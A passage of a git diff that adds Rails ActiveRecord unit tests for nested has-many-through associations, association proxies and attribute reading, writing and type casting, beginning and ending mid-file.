+ [members(:groucho)], :nested_member_type
+ )
+ end
+
+ # has_one through
+ # Source: belongs_to
+ # Through: has_one through
+ def test_has_one_through_has_one_through_with_belongs_to_source_reflection
+ assert_equal categories(:general), members(:groucho).club_category
+ end
+
+ def test_joins_and_includes_from_through_models_not_included_in_association
+ prev_default_scope = Club.default_scopes
+
+ [:includes, :preload, :joins, :eager_load].each do |q|
+ Club.default_scopes = [Club.send(q, :category)]
+ assert_equal categories(:general), members(:groucho).reload.club_category
+ end
+ ensure
+ Club.default_scopes = prev_default_scope
+ end
+
+ def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload
+ members = assert_queries(4) { Member.includes(:club_category).to_a.sort_by(&:id) }
+ general = categories(:general)
+
+ assert_no_queries do
+ assert_equal general, members.first.club_category
+ end
+ end
+
+ def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Member.where('categories.id' => categories(:technology).id),
+ [members(:blarpy_winkup)], :club_category
+ )
+ end
+
+ def test_distinct_has_many_through_a_has_many_through_association_on_source_reflection
+ author = authors(:david)
+ assert_equal [tags(:general)], author.distinct_tags
+ end
+
+ def test_distinct_has_many_through_a_has_many_through_association_on_through_reflection
+ author = authors(:david)
+ assert_equal [subscribers(:first), subscribers(:second)],
+ author.distinct_subscribers.order('subscribers.nick')
+ end
+
+ def test_nested_has_many_through_with_a_table_referenced_multiple_times
+ author = authors(:bob)
+ assert_equal [posts(:misc_by_bob), posts(:misc_by_mary), posts(:other_by_bob), posts(:other_by_mary)],
+ author.similar_posts.sort_by(&:id)
+
+ # Mary and Bob both have posts in misc, but they are the only ones.
+ authors = Author.joins(:similar_posts).where('posts.id' => posts(:misc_by_bob).id)
+ assert_equal [authors(:mary), authors(:bob)], authors.distinct.sort_by(&:id)
+
+ # Check the polymorphism of taggings is being observed correctly (in both joins)
+ authors = Author.joins(:similar_posts).where('taggings.taggable_type' => 'FakeModel')
+ assert authors.empty?
+ authors = Author.joins(:similar_posts).where('taggings_authors_join.taggable_type' => 'FakeModel')
+ assert authors.empty?
+ end
+
+ def test_has_many_through_with_foreign_key_option_on_through_reflection
+ assert_equal [posts(:welcome), posts(:authorless)], people(:david).agents_posts.order('posts.id')
+ assert_equal [authors(:david)], references(:david_unicyclist).agents_posts_authors
+
+ references = Reference.joins(:agents_posts_authors).where('authors.id' => authors(:david).id)
+ assert_equal [references(:david_unicyclist)], references
+ end
+
+ def test_has_many_through_with_foreign_key_option_on_source_reflection
+ assert_equal [people(:michael), people(:susan)], jobs(:unicyclist).agents.order('people.id')
+
+ jobs = Job.joins(:agents)
+ assert_equal [jobs(:unicyclist), jobs(:unicyclist)], jobs
+ end
+
+ def test_has_many_through_with_sti_on_through_reflection
+ ratings = posts(:sti_comments).special_comments_ratings.sort_by(&:id)
+ assert_equal [ratings(:special_comment_rating), ratings(:sub_special_comment_rating)], ratings
+
+ # Ensure STI is respected in the join
+ scope = Post.joins(:special_comments_ratings).where(:id => posts(:sti_comments).id)
+ assert scope.where("comments.type" => "Comment").empty?
+ assert !scope.where("comments.type" => "SpecialComment").empty?
+ assert !scope.where("comments.type" => "SubSpecialComment").empty?
+ end
+
+ def test_has_many_through_with_sti_on_nested_through_reflection
+ taggings = posts(:sti_comments).special_comments_ratings_taggings
+ assert_equal [taggings(:special_comment_rating)], taggings
+
+ scope = Post.joins(:special_comments_ratings_taggings).where(:id => posts(:sti_comments).id)
+ assert scope.where("comments.type" => "Comment").empty?
+ assert !scope.where("comments.type" => "SpecialComment").empty?
+ end
+
+ def test_nested_has_many_through_writers_should_raise_error
+ david = authors(:david)
+ subscriber = subscribers(:first)
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscribers = [subscriber]
+ end
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscriber_ids = [subscriber.id]
+ end
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscribers << subscriber
+ end
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscribers.delete(subscriber)
+ end
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscribers.clear
+ end
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscribers.build
+ end
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ david.subscribers.create
+ end
+ end
+
+ def test_nested_has_one_through_writers_should_raise_error
+ groucho = members(:groucho)
+ founding = member_types(:founding)
+
+ assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do
+ groucho.nested_member_type = founding
+ end
+ end
+
+ def test_nested_has_many_through_with_conditions_on_through_associations
+ assert_equal [tags(:blue)], authors(:bob).misc_post_first_blue_tags
+ end
+
+ def test_nested_has_many_through_with_conditions_on_through_associations_preload
+ assert Author.where('tags.id' => 100).joins(:misc_post_first_blue_tags).empty?
+
+ authors = assert_queries(3) { Author.includes(:misc_post_first_blue_tags).to_a.sort_by(&:id) }
+ blue = tags(:blue)
+
+ assert_no_queries do
+ assert_equal [blue], authors[2].misc_post_first_blue_tags
+ end
+ end
+
+ def test_nested_has_many_through_with_conditions_on_through_associations_preload_via_joins
+ # Pointless condition to force single-query loading
+ assert_includes_and_joins_equal(
+ Author.where('tags.id = tags.id').references(:tags),
+ [authors(:bob)], :misc_post_first_blue_tags
+ )
+ end
+
+ def test_nested_has_many_through_with_conditions_on_source_associations
+ assert_equal [tags(:blue)], authors(:bob).misc_post_first_blue_tags_2
+ end
+
+ def test_nested_has_many_through_with_conditions_on_source_associations_preload
+ authors = assert_queries(4) { Author.includes(:misc_post_first_blue_tags_2).to_a.sort_by(&:id) }
+ blue = tags(:blue)
+
+ assert_no_queries do
+ assert_equal [blue], authors[2].misc_post_first_blue_tags_2
+ end
+ end
+
+ def test_nested_has_many_through_with_conditions_on_source_associations_preload_via_joins
+ # Pointless condition to force single-query loading
+ assert_includes_and_joins_equal(
+ Author.where('tags.id = tags.id').references(:tags),
+ [authors(:bob)], :misc_post_first_blue_tags_2
+ )
+ end
+
+ def test_nested_has_many_through_with_foreign_key_option_on_the_source_reflection_through_reflection
+ assert_equal [categories(:general)], organizations(:nsa).author_essay_categories
+
+ organizations = Organization.joins(:author_essay_categories).
+ where('categories.id' => categories(:general).id)
+ assert_equal [organizations(:nsa)], organizations
+
+ assert_equal categories(:general), organizations(:nsa).author_owned_essay_category
+
+ organizations = Organization.joins(:author_owned_essay_category).
+ where('categories.id' => categories(:general).id)
+ assert_equal [organizations(:nsa)], organizations
+ end
+
+ def test_nested_has_many_through_should_not_be_autosaved
+ c = Categorization.new
+ c.author = authors(:david)
+ c.post_taggings.to_a
+ assert !c.post_taggings.empty?
+ c.save
+ assert !c.post_taggings.empty?
+ end
+
+ private
+
+ def assert_includes_and_joins_equal(query, expected, association)
+ actual = assert_queries(1) { query.joins(association).to_a.uniq }
+ assert_equal expected, actual
+
+ actual = assert_queries(1) { query.includes(association).to_a.uniq }
+ assert_equal expected, actual
+ end
+end
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
new file mode 100644
index 0000000..95c571f
--- /dev/null
+++ b/activerecord/test/cases/associations_test.rb
@@ -0,0 +1,331 @@
+require "cases/helper"
+require 'models/computer'
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/categorization'
+require 'models/category'
+require 'models/post'
+require 'models/author'
+require 'models/comment'
+require 'models/tag'
+require 'models/tagging'
+require 'models/person'
+require 'models/reader'
+require 'models/parrot'
+require 'models/ship_part'
+require 'models/ship'
+require 'models/liquid'
+require 'models/molecule'
+require 'models/electron'
+
+class AssociationsTest < ActiveRecord::TestCase
+ fixtures :accounts, :companies, :developers, :projects, :developers_projects,
+ :computers, :people, :readers
+
+ def test_eager_loading_should_not_change_count_of_children
+ liquid = Liquid.create(:name => 'salty')
+ molecule = liquid.molecules.create(:name => 'molecule_1')
+ molecule.electrons.create(:name => 'electron_1')
+ molecule.electrons.create(:name => 'electron_2')
+
+ liquids = Liquid.includes(:molecules => :electrons).references(:molecules).where('molecules.id is not null')
+ assert_equal 1, liquids[0].molecules.length
+ end
+
+ def test_clear_association_cache_stored
+ firm = Firm.find(1)
+ assert_kind_of Firm, firm
+
+ firm.clear_association_cache
+ assert_equal Firm.find(1).clients.collect{ |x| x.name }.sort, firm.clients.collect{ |x| x.name }.sort
+ end
+
+ def test_clear_association_cache_new_record
+ firm = Firm.new
+ client_stored = Client.find(3)
+ client_new = Client.new
+ client_new.name = "The Joneses"
+ clients = [ client_stored, client_new ]
+
+ firm.clients << clients
+ assert_equal clients.map(&:name).to_set, firm.clients.map(&:name).to_set
+
+ firm.clear_association_cache
+ assert_equal clients.map(&:name).to_set, firm.clients.map(&:name).to_set
+ end
+
+ def test_loading_the_association_target_should_keep_child_records_marked_for_destruction
+ ship = Ship.create!(:name => "The good ship Dollypop")
+ part = ship.parts.create!(:name => "Mast")
+ part.mark_for_destruction
+ ship.parts.send(:load_target)
+ assert ship.parts[0].marked_for_destruction?
+ end
+
+ def test_loading_the_association_target_should_load_most_recent_attributes_for_child_records_marked_for_destruction
+ ship = Ship.create!(:name => "The good ship Dollypop")
+ part = ship.parts.create!(:name => "Mast")
+ part.mark_for_destruction
+ ShipPart.find(part.id).update_columns(name: 'Deck')
+ ship.parts.send(:load_target)
+ assert_equal 'Deck', ship.parts[0].name
+ end
+
+
+ def test_include_with_order_works
+ assert_nothing_raised {Account.all.merge!(:order => 'id', :includes => :firm).first}
+ assert_nothing_raised {Account.all.merge!(:order => :id, :includes => :firm).first}
+ end
+
+ def test_bad_collection_keys
+ assert_raise(ArgumentError, 'ActiveRecord should have barked on bad collection keys') do
+ Class.new(ActiveRecord::Base).has_many(:wheels, :name => 'wheels')
+ end
+ end
+
+ def test_should_construct_new_finder_sql_after_create
+ person = Person.new :first_name => 'clark'
+ assert_equal [], person.readers.to_a
+ person.save!
+ reader = Reader.create! :person => person, :post => Post.new(:title => "foo", :body => "bar")
+ assert person.readers.find(reader.id)
+ end
+
+ def test_force_reload
+ firm = Firm.new("name" => "A New Firm, Inc")
+ firm.save
+ firm.clients.each {} # forcing to load all clients
+ assert firm.clients.empty?, "New firm shouldn't have client objects"
+ assert_equal 0, firm.clients.size, "New firm should have 0 clients"
+
+ client = Client.new("name" => "TheClient.com", "firm_id" => firm.id)
+ client.save
+
+ assert firm.clients.empty?, "New firm should have cached no client objects"
+ assert_equal 0, firm.clients.size, "New firm should have cached 0 clients count"
+
+ assert !firm.clients(true).empty?, "New firm should have reloaded client objects"
+ assert_equal 1, firm.clients(true).size, "New firm should have reloaded clients count"
+ end
+
+ def test_using_limitable_reflections_helper
+ using_limitable_reflections = lambda { |reflections| Tagging.all.send :using_limitable_reflections?, reflections }
+ belongs_to_reflections = [Tagging.reflect_on_association(:tag), Tagging.reflect_on_association(:super_tag)]
+ has_many_reflections = [Tag.reflect_on_association(:taggings), Developer.reflect_on_association(:projects)]
+ mixed_reflections = (belongs_to_reflections + has_many_reflections).uniq
+ assert using_limitable_reflections.call(belongs_to_reflections), "Belong to associations are limitable"
+ assert !using_limitable_reflections.call(has_many_reflections), "All has many style associations are not limitable"
+ assert !using_limitable_reflections.call(mixed_reflections), "No collection associations (has many style) should pass"
+ end
+
+ def test_force_reload_is_uncached
+ firm = Firm.create!("name" => "A New Firm, Inc")
+ Client.create!("name" => "TheClient.com", :firm => firm)
+ ActiveRecord::Base.cache do
+ firm.clients.each {}
+ assert_queries(0) { assert_not_nil firm.clients.each {} }
+ assert_queries(1) { assert_not_nil firm.clients(true).each {} }
+ end
+ end
+
+ def test_association_with_references
+ firm = companies(:first_firm)
+ assert_equal ['foo'], firm.association_with_references.references_values
+ end
+
+end
+
+class AssociationProxyTest < ActiveRecord::TestCase
+ fixtures :authors, :posts, :categorizations, :categories, :developers, :projects, :developers_projects
+
+ def test_push_does_not_load_target
+ david = authors(:david)
+
+ david.posts << (post = Post.new(:title => "New on Edge", :body => "More cool stuff!"))
+ assert !david.posts.loaded?
+ assert david.posts.include?(post)
+ end
+
+ def test_push_has_many_through_does_not_load_target
+ david = authors(:david)
+
+ david.categories << categories(:technology)
+ assert !david.categories.loaded?
+ assert david.categories.include?(categories(:technology))
+ end
+
+ def test_push_followed_by_save_does_not_load_target
+ david = authors(:david)
+
+ david.posts << (post = Post.new(:title => "New on Edge", :body => "More cool stuff!"))
+ assert !david.posts.loaded?
+ david.save
+ assert !david.posts.loaded?
+ assert david.posts.include?(post)
+ end
+
+ def test_push_does_not_lose_additions_to_new_record
+ josh = Author.new(:name => "Josh")
+ josh.posts << Post.new(:title => "New on Edge", :body => "More cool stuff!")
+ assert josh.posts.loaded?
+ assert_equal 1, josh.posts.size
+ end
+
+ def test_append_behaves_like_push
+ josh = Author.new(:name => "Josh")
+ josh.posts.append Post.new(:title => "New on Edge", :body => "More cool stuff!")
+ assert josh.posts.loaded?
+ assert_equal 1, josh.posts.size
+ end
+
+ def test_prepend_is_not_defined
+ josh = Author.new(:name => "Josh")
+ assert_raises(NoMethodError) { josh.posts.prepend Post.new }
+ end
+
+ def test_save_on_parent_does_not_load_target
+ david = developers(:david)
+
+ assert !david.projects.loaded?
+ david.update_columns(created_at: Time.now)
+ assert !david.projects.loaded?
+ end
+
+ def test_inspect_does_not_reload_a_not_yet_loaded_target
+ andreas = Developer.new :name => 'Andreas', :log => 'new developer added'
+ assert !andreas.audit_logs.loaded?
+ assert_match(/message: "new developer added"/, andreas.audit_logs.inspect)
+ end
+
+ def test_save_on_parent_saves_children
+ developer = Developer.create :name => "Bryan", :salary => 50_000
+ assert_equal 1, developer.reload.audit_logs.size
+ end
+
+ def test_create_via_association_with_block
+ post = authors(:david).posts.create(:title => "New on Edge") {|p| p.body = "More cool stuff!"}
+ assert_equal post.title, "New on Edge"
+ assert_equal post.body, "More cool stuff!"
+ end
+
+ def test_create_with_bang_via_association_with_block
+ post = authors(:david).posts.create!(:title => "New on Edge") {|p| p.body = "More cool stuff!"}
+ assert_equal post.title, "New on Edge"
+ assert_equal post.body, "More cool stuff!"
+ end
+
+ def test_reload_returns_assocition
+ david = developers(:david)
+ assert_nothing_raised do
+ assert_equal david.projects, david.projects.reload.reload
+ end
+ end
+
+ def test_proxy_association_accessor
+ david = developers(:david)
+ assert_equal david.association(:projects), david.projects.proxy_association
+ end
+
+ def test_scoped_allows_conditions
+ assert developers(:david).projects.merge!(where: 'foo').where_values.include?('foo')
+ end
+
+ test "getting a scope from an association" do
+ david = developers(:david)
+
+ assert david.projects.scope.is_a?(ActiveRecord::Relation)
+ assert_equal david.projects, david.projects.scope
+ end
+
+ test "proxy object is cached" do
+ david = developers(:david)
+ assert david.projects.equal?(david.projects)
+ end
+end
+
+class OverridingAssociationsTest < ActiveRecord::TestCase
+ class DifferentPerson < ActiveRecord::Base; end
+
+ class PeopleList < ActiveRecord::Base
+ has_and_belongs_to_many :has_and_belongs_to_many, :before_add => :enlist
+ has_many :has_many, :before_add => :enlist
+ belongs_to :belongs_to
+ has_one :has_one
+ end
+
+ class DifferentPeopleList < PeopleList
+ # Different association with the same name, callbacks should be omitted here.
+ has_and_belongs_to_many :has_and_belongs_to_many, :class_name => 'DifferentPerson'
+ has_many :has_many, :class_name => 'DifferentPerson'
+ belongs_to :belongs_to, :class_name => 'DifferentPerson'
+ has_one :has_one, :class_name => 'DifferentPerson'
+ end
+
+ def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
+ # redeclared association on AR descendant should not inherit callbacks from superclass
+ callbacks = PeopleList.before_add_for_has_and_belongs_to_many
+ assert_equal([:enlist], callbacks)
+ callbacks = DifferentPeopleList.before_add_for_has_and_belongs_to_many
+ assert_equal([], callbacks)
+ end
+
+ def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
+ # redeclared association on AR descendant should not inherit callbacks from superclass
+ callbacks = PeopleList.before_add_for_has_many
+ assert_equal([:enlist], callbacks)
+ callbacks = DifferentPeopleList.before_add_for_has_many
+ assert_equal([], callbacks)
+ end
+
+ def test_habtm_association_redefinition_reflections_should_differ_and_not_inherited
+ assert_not_equal(
+ PeopleList.reflect_on_association(:has_and_belongs_to_many),
+ DifferentPeopleList.reflect_on_association(:has_and_belongs_to_many)
+ )
+ end
+
+ def test_has_many_association_redefinition_reflections_should_differ_and_not_inherited
+ assert_not_equal(
+ PeopleList.reflect_on_association(:has_many),
+ DifferentPeopleList.reflect_on_association(:has_many)
+ )
+ end
+
+ def test_belongs_to_association_redefinition_reflections_should_differ_and_not_inherited
+ assert_not_equal(
+ PeopleList.reflect_on_association(:belongs_to),
+ DifferentPeopleList.reflect_on_association(:belongs_to)
+ )
+ end
+
+ def test_has_one_association_redefinition_reflections_should_differ_and_not_inherited
+ assert_not_equal(
+ PeopleList.reflect_on_association(:has_one),
+ DifferentPeopleList.reflect_on_association(:has_one)
+ )
+ end
+
+ def test_requires_symbol_argument
+ assert_raises ArgumentError do
+ Class.new(Post) do
+ belongs_to "author"
+ end
+ end
+ end
+end
+
+class GeneratedMethodsTest < ActiveRecord::TestCase
+ fixtures :developers, :computers, :posts, :comments
+ def test_association_methods_override_attribute_methods_of_same_name
+ assert_equal(developers(:david), computers(:workstation).developer)
+ # this next line will fail if the attribute methods module is generated lazily
+ # after the association methods module is generated
+ assert_equal(developers(:david), computers(:workstation).developer)
+ assert_equal(developers(:david).id, computers(:workstation)[:developer])
+ end
+
+ def test_model_method_overrides_association_method
+ assert_equal(comments(:greetings).body, posts(:welcome).first_comment)
+ end
+end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
new file mode 100644
index 0000000..8d8ff2f
--- /dev/null
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -0,0 +1,65 @@
+require "cases/helper"
+require 'thread'
+
+module ActiveRecord
+ module AttributeMethods
+ class ReadTest < ActiveRecord::TestCase
+ class FakeColumn < Struct.new(:name)
+ def type; :integer; end
+ end
+
+ def setup
+ @klass = Class.new do
+ def self.superclass; Base; end
+ def self.base_class; self; end
+
+ include ActiveRecord::AttributeMethods
+
+ def self.define_attribute_methods
+ # Created in the inherited/included hook for "proper" ARs
+ @attribute_methods_mutex ||= Mutex.new
+
+ super
+ end
+
+ def self.column_names
+ %w{ one two three }
+ end
+
+ def self.primary_key
+ end
+
+ def self.columns
+ column_names.map { FakeColumn.new(name) }
+ end
+
+ def self.columns_hash
+ Hash[column_names.map { |name|
+ [name, FakeColumn.new(name)]
+ }]
+ end
+ end
+ end
+
+ def test_define_attribute_methods
+ instance = @klass.new
+
+ @klass.column_names.each do |name|
+ assert !instance.methods.map(&:to_s).include?(name)
+ end
+
+ @klass.define_attribute_methods
+
+ @klass.column_names.each do |name|
+ assert instance.methods.map(&:to_s).include?(name), "#{name} is not defined"
+ end
+ end
+
+ def test_attribute_methods_generated?
+ assert(!@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+ @klass.define_attribute_methods
+ assert(@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
new file mode 100644
index 0000000..d9c0323
--- /dev/null
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -0,0 +1,801 @@
+require "cases/helper"
+require 'models/minimalistic'
+require 'models/developer'
+require 'models/auto_id'
+require 'models/boolean'
+require 'models/computer'
+require 'models/topic'
+require 'models/company'
+require 'models/category'
+require 'models/reply'
+require 'models/contact'
+require 'models/keyboard'
+
+class AttributeMethodsTest < ActiveRecord::TestCase
+ include InTimeZone
+
+ fixtures :topics, :developers, :companies, :computers
+
+ def setup
+ @old_matchers = ActiveRecord::Base.send(:attribute_method_matchers).dup
+ @target = Class.new(ActiveRecord::Base)
+ @target.table_name = 'topics'
+ end
+
+ def teardown
+ ActiveRecord::Base.send(:attribute_method_matchers).clear
+ ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
+ end
+
+ def test_attribute_present
+ t = Topic.new
+ t.title = "hello there!"
+ t.written_on = Time.now
+ t.author_name = ""
+ assert t.attribute_present?("title")
+ assert t.attribute_present?("written_on")
+ assert !t.attribute_present?("content")
+ assert !t.attribute_present?("author_name")
+ end
+
+ def test_attribute_present_with_booleans
+ b1 = Boolean.new
+ b1.value = false
+ assert b1.attribute_present?(:value)
+
+ b2 = Boolean.new
+ b2.value = true
+ assert b2.attribute_present?(:value)
+
+ b3 = Boolean.new
+ assert !b3.attribute_present?(:value)
+
+ b4 = Boolean.new
+ b4.value = false
+ b4.save!
+ assert Boolean.find(b4.id).attribute_present?(:value)
+ end
+
+ def test_caching_nil_primary_key
+ klass = Class.new(Minimalistic)
+ klass.expects(:reset_primary_key).returns(nil).once
+ 2.times { klass.primary_key }
+ end
+
+ def test_attribute_keys_on_new_instance
+ t = Topic.new
+ assert_equal nil, t.title, "The topics table has a title column, so it should be nil"
+ assert_raise(NoMethodError) { t.title2 }
+ end
+
+ def test_boolean_attributes
+ assert !Topic.find(1).approved?
+ assert Topic.find(2).approved?
+ end
+
+ def test_set_attributes
+ topic = Topic.find(1)
+ topic.attributes = { "title" => "Budget", "author_name" => "Jason" }
+ topic.save
+ assert_equal("Budget", topic.title)
+ assert_equal("Jason", topic.author_name)
+ assert_equal(topics(:first).author_email_address, Topic.find(1).author_email_address)
+ end
+
+ def test_set_attributes_without_hash
+ topic = Topic.new
+ assert_nothing_raised { topic.attributes = '' }
+ end
+
+ def test_integers_as_nil
+ test = AutoId.create('value' => '')
+ assert_nil AutoId.find(test.id).value
+ end
+
+ def test_set_attributes_with_block
+ topic = Topic.new do |t|
+ t.title = "Budget"
+ t.author_name = "Jason"
+ end
+
+ assert_equal("Budget", topic.title)
+ assert_equal("Jason", topic.author_name)
+ end
+
+ def test_respond_to?
+ topic = Topic.find(1)
+ assert_respond_to topic, "title"
+ assert_respond_to topic, "title?"
+ assert_respond_to topic, "title="
+ assert_respond_to topic, :title
+ assert_respond_to topic, :title?
+ assert_respond_to topic, :title=
+ assert_respond_to topic, "author_name"
+ assert_respond_to topic, "attribute_names"
+ assert !topic.respond_to?("nothingness")
+ assert !topic.respond_to?(:nothingness)
+ end
+
+ def test_respond_to_with_custom_primary_key
+ keyboard = Keyboard.create
+ assert_not_nil keyboard.key_number
+ assert_equal keyboard.key_number, keyboard.id
+ assert keyboard.respond_to?('key_number')
+ assert keyboard.respond_to?('id')
+ end
+
+ def test_id_before_type_cast_with_custom_primary_key
+ keyboard = Keyboard.create
+ keyboard.key_number = '10'
+ assert_equal '10', keyboard.id_before_type_cast
+ assert_equal nil, keyboard.read_attribute_before_type_cast('id')
+ assert_equal '10', keyboard.read_attribute_before_type_cast('key_number')
+ end
+
+ # Syck calls respond_to? before actually calling initialize
+ def test_respond_to_with_allocated_object
+ topic = Topic.allocate
+ assert !topic.respond_to?("nothingness")
+ assert !topic.respond_to?(:nothingness)
+ assert_respond_to topic, "title"
+ assert_respond_to topic, :title
+ end
+
+ # IRB inspects the return value of "MyModel.allocate".
+ def test_allocated_object_can_be_inspected
+ topic = Topic.allocate
+ assert_equal "#<Topic not initialized>", topic.inspect
+ end
+
+ def test_array_content
+ topic = Topic.new
+ topic.content = %w( one two three )
+ topic.save
+
+ assert_equal(%w( one two three ), Topic.find(topic.id).content)
+ end
+
+ def test_read_attributes_before_type_cast
+ category = Category.new({:name=>"Test category", :type => nil})
+ category_attrs = {"name"=>"Test category", "id" => nil, "type" => nil, "categorizations_count" => nil}
+ assert_equal category_attrs , category.attributes_before_type_cast
+ end
+
+ if current_adapter?(:MysqlAdapter)
+ def test_read_attributes_before_type_cast_on_boolean
+ bool = Boolean.create({ "value" => false })
+ if RUBY_PLATFORM =~ /java/
+ # JRuby will return the value before typecast as string
+ assert_equal "0", bool.reload.attributes_before_type_cast["value"]
+ else
+ assert_equal 0, bool.reload.attributes_before_type_cast["value"]
+ end
+ end
+ end
+
+ def test_read_attributes_before_type_cast_on_datetime
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+
+ record.written_on = "345643456"
+ assert_equal "345643456", record.written_on_before_type_cast
+ assert_equal nil, record.written_on
+
+ record.written_on = "2009-10-11 12:13:14"
+ assert_equal "2009-10-11 12:13:14", record.written_on_before_type_cast
+ assert_equal Time.zone.parse("2009-10-11 12:13:14"), record.written_on
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+ end
+ end
+
+ def test_read_attributes_after_type_cast_on_datetime
+ tz = "Pacific Time (US & Canada)"
+
+ in_time_zone tz do
+ record = @target.new
+
+ date_string = "2011-03-24"
+ time = Time.zone.parse date_string
+
+ record.written_on = date_string
+ assert_equal date_string, record.written_on_before_type_cast
+ assert_equal time, record.written_on
+ assert_equal ActiveSupport::TimeZone[tz], record.written_on.time_zone
+
+ record.save
+ record.reload
+
+ assert_equal time, record.written_on
+ end
+ end
+
+ def test_hash_content
+ topic = Topic.new
+ topic.content = { "one" => 1, "two" => 2 }
+ topic.save
+
+ assert_equal 2, Topic.find(topic.id).content["two"]
+
+ topic.content_will_change!
+ topic.content["three"] = 3
+ topic.save
+
+ assert_equal 3, Topic.find(topic.id).content["three"]
+ end
+
+ def test_update_array_content
+ topic = Topic.new
+ topic.content = %w( one two three )
+
+ topic.content.push "four"
+ assert_equal(%w( one two three four ), topic.content)
+
+ topic.save
+
+ topic = Topic.find(topic.id)
+ topic.content << "five"
+ assert_equal(%w( one two three four five ), topic.content)
+ end
+
+ def test_case_sensitive_attributes_hash
+ # DB2 is not case-sensitive
+ return true if current_adapter?(:DB2Adapter)
+
+ assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.first.attributes
+ end
+
+ def test_hashes_not_mangled
+ new_topic = { :title => "New Topic" }
+ new_topic_values = { :title => "AnotherTopic" }
+
+ topic = Topic.new(new_topic)
+ assert_equal new_topic[:title], topic.title
+
+ topic.attributes= new_topic_values
+ assert_equal new_topic_values[:title], topic.title
+ end
+
+ def test_create_through_factory
+ topic = Topic.create("title" => "New Topic")
+ topicReloaded = Topic.find(topic.id)
+ assert_equal(topic, topicReloaded)
+ end
+
+ def test_write_attribute
+ topic = Topic.new
+ topic.send(:write_attribute, :title, "Still another topic")
+ assert_equal "Still another topic", topic.title
+
+ topic[:title] = "Still another topic: part 2"
+ assert_equal "Still another topic: part 2", topic.title
+
+ topic.send(:write_attribute, "title", "Still another topic: part 3")
+ assert_equal "Still another topic: part 3", topic.title
+
+ topic["title"] = "Still another topic: part 4"
+ assert_equal "Still another topic: part 4", topic.title
+ end
+
+ def test_read_attribute
+ topic = Topic.new
+ topic.title = "Don't change the topic"
+ assert_equal "Don't change the topic", topic.send(:read_attribute, "title")
+ assert_equal "Don't change the topic", topic["title"]
+
+ assert_equal "Don't change the topic", topic.send(:read_attribute, :title)
+ assert_equal "Don't change the topic", topic[:title]
+ end
+
+ def test_read_attribute_raises_missing_attribute_error_when_not_exists
+ computer = Computer.select('id').first
+ assert_raises(ActiveModel::MissingAttributeError) { computer[:developer] }
+ assert_raises(ActiveModel::MissingAttributeError) { computer[:extendedWarranty] }
+ end
+
+ def test_read_attribute_when_false
+ topic = topics(:first)
+ topic.approved = false
+ assert !topic.approved?, "approved should be false"
+ topic.approved = "false"
+ assert !topic.approved?, "approved should be false"
+ end
+
+ def test_read_attribute_when_true
+ topic = topics(:first)
+ topic.approved = true
+ assert topic.approved?, "approved should be true"
+ topic.approved = "true"
+ assert topic.approved?, "approved should be true"
+ end
+
+ def test_read_write_boolean_attribute
+ topic = Topic.new
+ topic.approved = "false"
+ assert !topic.approved?, "approved should be false"
+
+ topic.approved = "false"
+ assert !topic.approved?, "approved should be false"
+
+ topic.approved = "true"
+ assert topic.approved?, "approved should be true"
+
+ topic.approved = "true"
+ assert topic.approved?, "approved should be true"
+ end
+
+ def test_overridden_write_attribute
+ topic = Topic.new
+ def topic.write_attribute(attr_name, value)
+ super(attr_name, value.downcase)
+ end
+
+ topic.send(:write_attribute, :title, "Yet another topic")
+ assert_equal "yet another topic", topic.title
+
+ topic[:title] = "Yet another topic: part 2"
+ assert_equal "yet another topic: part 2", topic.title
+
+ topic.send(:write_attribute, "title", "Yet another topic: part 3")
+ assert_equal "yet another topic: part 3", topic.title
+
+ topic["title"] = "Yet another topic: part 4"
+ assert_equal "yet another topic: part 4", topic.title
+ end
+
+ def test_overridden_read_attribute
+ topic = Topic.new
+ topic.title = "Stop changing the topic"
+ def topic.read_attribute(attr_name)
+ super(attr_name).upcase
+ end
+
+ assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, "title")
+ assert_equal "STOP CHANGING THE TOPIC", topic["title"]
+
+ assert_equal "STOP CHANGING THE TOPIC", topic.send(:read_attribute, :title)
+ assert_equal "STOP CHANGING THE TOPIC", topic[:title]
+ end
+
+ def test_read_overridden_attribute
+ topic = Topic.new(:title => 'a')
+ def topic.title() 'b' end
+ assert_equal 'a', topic[:title]
+ end
+
+ def test_query_attribute_string
+ [nil, "", " "].each do |value|
+ assert_equal false, Topic.new(:author_name => value).author_name?
+ end
+
+ assert_equal true, Topic.new(:author_name => "Name").author_name?
+ end
+
+ def test_query_attribute_number
+ [nil, 0, "0"].each do |value|
+ assert_equal false, Developer.new(:salary => value).salary?
+ end
+
+ assert_equal true, Developer.new(:salary => 1).salary?
+ assert_equal true, Developer.new(:salary => "1").salary?
+ end
+
+ def test_query_attribute_boolean
+ [nil, "", false, "false", "f", 0].each do |value|
+ assert_equal false, Topic.new(:approved => value).approved?
+ end
+
